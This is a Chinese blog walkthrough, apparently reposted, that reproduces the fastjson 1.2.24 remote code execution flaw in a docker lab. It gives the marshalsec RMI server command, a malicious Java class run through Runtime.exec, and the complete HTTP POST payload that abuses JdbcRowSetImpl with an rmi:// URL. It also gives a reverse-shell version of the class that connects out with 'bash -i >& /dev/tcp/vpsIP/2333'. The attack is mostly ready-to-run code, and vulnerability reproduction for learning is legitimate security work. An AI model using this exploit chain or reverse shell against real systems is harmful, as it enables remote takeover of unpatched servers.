漏洞復現-fastjson1.2.24-RCE


 
 
 
 
 
 

0x00 實驗環境

攻擊機:Win 10、Win Server2012 R2(公網環境,惡意java文件所在服務器)

靶機也可作為攻擊機:Ubuntu18 (公網環境,docker搭建的vulhub靶場)(兼顧反彈shell的攻擊機)

 

0x01 影響版本

fastjson<=1.2.24

 

0x02 避坑指南

(1)Ubuntu18開啟惡意加載RMI的java環境需要為低版本1.8的任意版本

(2)確保清楚知道自己在做什么

(3)python的簡易網站使用的python版本為2.X(python -m SimpleHTTPServer 6666),3.X可直接使用

python -m http.server 6666

 

0x03 實驗步驟

首先,進入靶場環境,我們可以看到這個漏洞平台:

 

以上為普通的json格式的數據上傳

我們應該做的第一件事是判斷該網站是否存在fastjson漏洞,這個我暫時還沒研究出來,先復現一下吧。

首先第一件事就是要准備好實驗環境:假設我的攻擊主機使用的是一台,那么,這個邏輯是:

Ubuntu的8090端口存放靶場

Ubuntu的4444端口使用python開啟一個簡易的web站點(實驗中我並未使用這個方法,而是直接使用了另一台在公網上的win server 2012R2的服務器搭建的web)

Ubuntu的2333端口監聽反彈過來的shell 

 

還有一個比較重要的問題就是,攻擊思路為:使用Ubuntu的java加載一個調用惡意文件的環境,再使用該環境遠程加載一個惡意類,達到借刀進行命令執行的效果。

 

思路理清了我們就正式開始此次復現。

(1)在以下鏈接下載marshalsec輔助開啟JAVA RMI環境:

地址:git clone https://github.com/mbechler/marshalsec

 

(2)由於我的Ubuntu為最新18版本,內置的java環境為11,因此在復現過程中無法成功開啟rmi服務,你可以先使用以下Tips安裝java1.8環境:

Tips:安裝好1.8版本的java后(具體請參考網上的其他java環境安裝教程),替換java的環境:

update-alternatives --config java

 

 

ubuntu如何安裝配置JDK1.8:

 https://jingyan.baidu.com/article/6dad5075237536a123e36e0c.html

 

(3)由於我的環境已經安裝好惡意調用java的RMI服務,因此這里僅提供以下編譯環境的命令,編譯成功會出現綠色的"BUILD SUCCESS"字樣:

mvn clean package -DskipTests

 

(4)安裝完成好后,新建一個java腳本,命名為TouchFile.java,這個文件的作用大致就是使用java創建一個文件,如下為其所有代碼,本意為在靶場的tmp目錄下創建一個名為success的文件:

 
         
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }

 

(5)在此之前,我需要說明的是,實驗我已經復現成功了,所以我已經先把success的文件做刪除,這里證明一下。使用以下命令進行docker容器:

 

 

 然后進入到tmp目錄下查詢success的文件並將其刪除:

 

(6)開始復現,在我的Win Server2012 R2上搭建一個web服務,將上述的java文件編譯好后放入跟目錄:

java編譯.class的命令為:

javac TouchFile.java

 

 

 (7)然后我們在自己的服務上,進入到自己下載的輔助搭建RMI服務的工具的target目錄內:marshalsec/target/。存在以下兩個可以調用開啟RMI服務的jar包

 

 

使用以下命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP/#TouchFile" 9999

這里的vpsIP是指你的公網的開啟web后放入TouchFile.class的那台服務器。本意為,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本機的9999端口開啟一個RMI服務加載TouchFile.class文件。

 

(8)刷新靶場的鏈接,抓包后改GET包為POST包,然后在發送的請求數據包中輸入以下payload:

 

 

 

 

 

 payload:

POST / HTTP/1.1
Host: IP:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 164

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://IP:9999/TouchFile",
        "autoCommit":true
    }
}

 

在docker的靶場環境內,成功執行創建文件的命令:

 

 

反彈shell的步驟僅僅是照葫蘆畫瓢,修改.java的惡意加載文件,惡意java文件修改為反彈shell的命令,然后編譯為.class,然后傳到web站點:

 

 

 

重要的payload放置如下:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();


String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/2333 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

 

 反彈成功:

 

 

0x04 實驗原理

fastjson版本:1.2.22-1.2.24。這些版本的fastjson未對@type中加載進的類進行過濾,導致的這一版漏洞。

主要由於利用templatesImlp這個類,這個類中有一個_bytecodes字段,部分函數能夠根據這個字段來生成類的實例,這個類的構造函數是我們可控的,就能rce

參考https://www.secpulse.com/archives/72391.html

復現參考https://www.cnblogs.com/null1433/p/12694088.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM